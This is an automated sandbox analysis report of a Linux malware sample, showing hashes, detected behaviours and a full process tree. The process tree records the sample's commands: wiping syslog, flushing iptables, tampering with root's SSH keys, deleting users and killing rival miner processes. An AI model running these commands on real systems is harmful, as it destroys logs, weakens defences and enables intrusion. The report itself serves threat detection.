Analysis
-
max time kernel
150s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
08-09-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
Resource
debian9-mipsel-20240611-en
General
-
Target
d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
-
Size
27KB
-
MD5
d4d8b7039b8686c4053d95f9ce9133af
-
SHA1
450bca999599e264b58ffba74140a57ed9d3921c
-
SHA256
9d3ecfce98d1e6adf77c3132cefea45c8c82e8988f34ff874c1e93799e7fd59d
-
SHA512
703095a7d895a48906c1252cd26caf0282ed0162f2b5f4ca87e23843215338b271c770dd2aa5cc7654fe46fade302919deea22c01171faff8a0b32cd79262ba2
-
SSDEEP
384:G7pQQwQHDf6jlpTWg3vMGQiKMvU/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeh:G7JVFNcD8FLcIwgiYq0xzBGy
Malware Config
Signatures
-
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 708 iptables -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 713 sudo -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 781 xargs 818 xargs 903 xargs 830 xargs 836 xargs 724 chattr 1009 xargs 1059 xargs 1231 xargs 860 xargs 964 xargs 1266 xargs 875 xargs 1341 xargs 1373 xargs 1422 xargs 775 xargs 1113 xargs 1385 xargs 1052 xargs 1098 xargs 1079 xargs 1294 xargs 1400 xargs 806 xargs 888 xargs 949 xargs 990 xargs 726 chattr 737 grep 762 xargs 983 xargs 1179 xargs 1322 xargs 1392 xargs 706 chattr 842 xargs 1315 xargs 924 xargs 939 xargs 1092 xargs 1146 xargs 749 xargs 824 xargs 870 xargs 919 xargs 1211 xargs 1241 xargs 1033 xargs 1128 xargs 1282 xargs 1301 xargs 854 xargs 959 xargs 1021 xargs 1221 xargs 969 xargs 1133 xargs 1141 xargs 1206 xargs 944 xargs 1002 xargs 1271 xargs 914 xargs -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/21/status ps File opened for reading /proc/952/status ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/457/cmdline ps File opened for reading /proc/2/status ps File opened for reading /proc/77/stat ps File opened for reading /proc/326/cmdline ps File opened for reading /proc/328/stat ps File opened for reading /proc/21/stat ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/879/stat ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/320/cmdline ps File opened for reading /proc/16/status ps File opened for reading /proc/69/status ps File opened for reading /proc/1182/cmdline ps File opened for reading /proc/69/cmdline ps File opened for reading /proc/141/stat ps File opened for reading /proc/707/stat ps File opened for reading /proc/383/cmdline ps File opened for reading /proc/71/stat ps File opened for reading /proc/457/status ps File opened for reading /proc/111/stat ps File opened for reading /proc/695/cmdline ps File opened for reading /proc/695/cmdline ps File opened for reading /proc/326/status ps File opened for reading /proc/111/cmdline ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/2/stat ps File opened for reading /proc/147/cmdline ps File opened for reading /proc/696/status ps File opened for reading /proc/1323/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/4/cmdline ps File opened for reading /proc/2/cmdline ps File opened for reading /proc/self/maps awk File opened for reading /proc/7/cmdline ps File opened for reading /proc/meminfo ps File opened for reading /proc/15/status ps File opened for reading /proc/8/stat ps File opened for reading /proc/696/status ps File opened for reading /proc/676/stat ps File opened for reading /proc/487/stat ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/450/stat ps File opened for reading /proc/14/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/13/stat ps File opened for reading /proc/388/cmdline ps File opened for reading /proc/80/cmdline ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/2/status ps File opened for reading /proc/1014/status ps File opened for reading /proc/372/cmdline ps File opened for reading /proc/141/status ps File opened for reading /proc/880/cmdline ps File opened for reading /proc/7/stat ps File opened for reading /proc/457/cmdline ps File opened for reading /proc/37/stat ps File opened for reading /proc/328/status ps File opened for reading /proc/1/stat ps File opened for reading /proc/meminfo ps File opened for reading /proc/696/stat ps -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118
Processes
-
/tmp/d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes118/tmp/d4d8b7039b8686c4053d95f9ce9133af_JaffaCakes1181⤵
- Writes file to tmp directory
PID:697 -
/bin/rmrm -rf /var/log/syslog2⤵PID:698
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:701
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Attempts to change immutable files
PID:706
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:708
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:713
-
-
/usr/sbin/userdeluserdel akay2⤵PID:717
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:720
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Attempts to change immutable files
PID:724
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:726
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:728
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:730
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:731
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:732
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:733
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Attempts to change immutable files
PID:737
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:736
-
-
/bin/grepgrep 185.71.65.2382⤵PID:739
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:740
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:742
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:747
-
-
/bin/grepgrep 140.82.52.872⤵PID:746
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:749
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:753
-
-
/bin/grepgrep :4432⤵PID:752
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:754
-
-
/bin/grepgrep -v -2⤵PID:755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:756
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:760
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:759
-
-
/bin/grepgrep :232⤵PID:758
-
-
/bin/grepgrep -v -2⤵PID:761
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:762
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:767
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:766
-
-
/bin/grepgrep :4432⤵PID:765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:769
-
-
/bin/grepgrep -v -2⤵PID:768
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:772
-
-
/bin/grepgrep :1432⤵PID:771
-
-
/bin/grepgrep -v -2⤵PID:774
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:775
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:779
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:778
-
-
/bin/grepgrep :22222⤵PID:777
-
-
/bin/grepgrep -v -2⤵PID:780
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:781
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:785
-
-
/bin/grepgrep :33332⤵PID:784
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:786
-
-
/bin/grepgrep -v -2⤵PID:787
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:788
-
-
/bin/grepgrep :33892⤵PID:790
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:791
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
- Reads runtime system information
PID:792
-
-
/bin/grepgrep -v -2⤵PID:793
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:794
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:797
-
-
/bin/grepgrep :44442⤵PID:796
-
-
/bin/grepgrep -v -2⤵PID:799
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:800
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:804
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:803
-
-
/bin/grepgrep :55552⤵PID:802
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:806
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:810
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:809
-
-
/bin/grepgrep :66662⤵PID:808
-
-
/bin/grepgrep -v -2⤵PID:811
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:816
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:815
-
-
/bin/grepgrep :66652⤵PID:814
-
-
/bin/grepgrep -v -2⤵PID:817
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:818
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:822
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:821
-
-
/bin/grepgrep :66672⤵PID:820
-
-
/bin/grepgrep -v -2⤵PID:823
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:827
-
-
/bin/grepgrep :77772⤵PID:826
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:828
-
-
/bin/grepgrep -v -2⤵PID:829
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:834
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:833
-
-
/bin/grepgrep :84442⤵PID:832
-
-
/bin/grepgrep -v -2⤵PID:835
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:836
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:840
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:839
-
-
/bin/grepgrep :33472⤵PID:838
-
-
/bin/grepgrep -v -2⤵PID:841
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:842
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:846
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:845
-
-
/bin/grepgrep :144442⤵PID:844
-
-
/bin/grepgrep -v -2⤵PID:847
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:848
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/bin/grepgrep :144332⤵PID:850
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:854
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/bin/grepgrep :135312⤵PID:856
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:860
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
-
/bin/grepgrep -v grep2⤵PID:863
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
-
/bin/grepgrep "sleep 60"2⤵PID:862
-
-
/bin/psps aux2⤵PID:861
-
-
/bin/grepgrep -v grep2⤵PID:868
-
-
/bin/grepgrep ./crun2⤵PID:867
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:866
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:870
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:869
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:874
-
-
/bin/grepgrep -v grep2⤵PID:873
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:872
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:875
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:871
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:882
-
-
/bin/grepgrep :33332⤵PID:881
-
-
/bin/grepgrep -v grep2⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:883
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:879
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:887
-
-
/bin/grepgrep :55552⤵PID:886
-
-
/bin/grepgrep -v grep2⤵PID:885
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:888
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:884
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:892
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:891
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:893
-
-
/bin/grepgrep -v grep2⤵PID:890
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:889
-
-
/bin/grepgrep log_2⤵PID:896
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:897
-
-
/bin/grepgrep -v grep2⤵PID:895
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:898
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:894
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:902
-
-
/bin/grepgrep systemten2⤵PID:901
-
-
/bin/grepgrep -v grep2⤵PID:900
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:899
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:903
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:907
-
-
/bin/grepgrep netns2⤵PID:906
-
-
/bin/grepgrep -v grep2⤵PID:905
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:908
-
/usr/local/sbin/killkill -9 103⤵PID:909
-
-
/usr/local/bin/killkill -9 103⤵PID:909
-
-
/usr/sbin/killkill -9 103⤵PID:909
-
-
/usr/bin/killkill -9 103⤵PID:909
-
-
/sbin/killkill -9 103⤵PID:909
-
-
/bin/killkill -9 103⤵
- Reads CPU attributes
PID:909
-
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:904
-
-
/bin/grepgrep voltuned2⤵PID:912
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
-
/bin/grepgrep -v grep2⤵PID:911
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:914
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:910
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:918
-
-
/bin/grepgrep darwin2⤵PID:917
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:919
-
-
/bin/grepgrep -v grep2⤵PID:916
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:915
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
-
/bin/grepgrep /tmp/dl2⤵PID:922
-
-
/bin/grepgrep -v grep2⤵PID:921
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:924
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:920
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
-
/bin/grepgrep /tmp/ddg2⤵PID:927
-
-
/bin/grepgrep -v grep2⤵PID:926
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:925
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:929
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:933
-
-
/bin/grepgrep /tmp/pprt2⤵PID:932
-
-
/bin/grepgrep -v grep2⤵PID:931
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:934
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:930
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:938
-
-
/bin/grepgrep /tmp/ppol2⤵PID:937
-
-
/bin/grepgrep -v grep2⤵PID:936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:939
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:935
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:943
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:942
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:944
-
-
/bin/grepgrep -v grep2⤵PID:941
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:949
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:953
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:952
-
-
/bin/grepgrep -v grep2⤵PID:951
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:954
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:959
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:955
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:963
-
-
/bin/grepgrep 45.76.122.922⤵PID:962
-
-
/bin/grepgrep -v grep2⤵PID:961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:964
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:960
-
-
/bin/grepgrep -v grep2⤵PID:966
-
-
/bin/grepgrep 51.38.191.1782⤵PID:967
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:968
-
-
/bin/psps aux2⤵PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:969
-
-
/bin/grepgrep 51.15.56.1612⤵PID:974
-
-
/bin/grepgrep -v grep2⤵PID:973
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:972
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:982
-
-
/bin/grepgrep 86s.jpg2⤵PID:981
-
-
/bin/grepgrep -v grep2⤵PID:980
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:983
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:979
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:989
-
-
/bin/grepgrep aGTSGJJp2⤵PID:988
-
-
/bin/grepgrep -v grep2⤵PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:990
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:995
-
-
/bin/grepgrep nMrfmnRa2⤵PID:994
-
-
/bin/grepgrep -v grep2⤵PID:993
-
-
/bin/psps aux2⤵PID:992
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:996
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1001
-
-
/bin/grepgrep PuNY5tm22⤵PID:1000
-
-
/bin/grepgrep -v grep2⤵PID:999
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1002
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:998
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1007
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/bin/grepgrep -v grep2⤵PID:1006
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1009
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1005
-
-
/bin/grepgrep AgdgACUD2⤵PID:1012
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1013
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1014
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1010
-
-
/bin/grepgrep -v grep2⤵PID:1018
-
-
/bin/grepgrep uiZvwxG82⤵PID:1019
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1020
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1017
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1021
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1027
-
-
/bin/grepgrep hahwNEdB2⤵PID:1026
-
-
/bin/grepgrep -v grep2⤵PID:1025
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1028
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1024
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1032
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1031
-
-
/bin/grepgrep -v grep2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1033
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1029
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1039
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1038
-
-
/bin/grepgrep -v grep2⤵PID:1037
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1036
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1040
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1045
-
-
/bin/grepgrep -v grep2⤵PID:1044
-
-
/bin/psps aux2⤵PID:1043
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1051
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1050
-
-
/bin/grepgrep -v grep2⤵PID:1049
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1052
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1048
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1058
-
-
/bin/grepgrep zXcDajSs2⤵PID:1057
-
-
/bin/grepgrep -v grep2⤵PID:1056
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1059
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1055
-
-
/bin/grepgrep -v grep2⤵PID:1063
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1062
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1065
-
-
/bin/grepgrep 3lmigMo2⤵PID:1064
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1071
-
-
/bin/grepgrep AkMK4A22⤵PID:1070
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1073
-
-
/bin/grepgrep -v grep2⤵PID:1069
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1068
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1078
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1077
-
-
/bin/grepgrep -v grep2⤵PID:1076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1079
-
-
/bin/psps aux2⤵PID:1075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1084
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1083
-
-
/bin/grepgrep -v grep2⤵PID:1082
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1091
-
-
/bin/grepgrep http_0xCC0302⤵PID:1090
-
-
/bin/grepgrep -v grep2⤵PID:1089
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1092
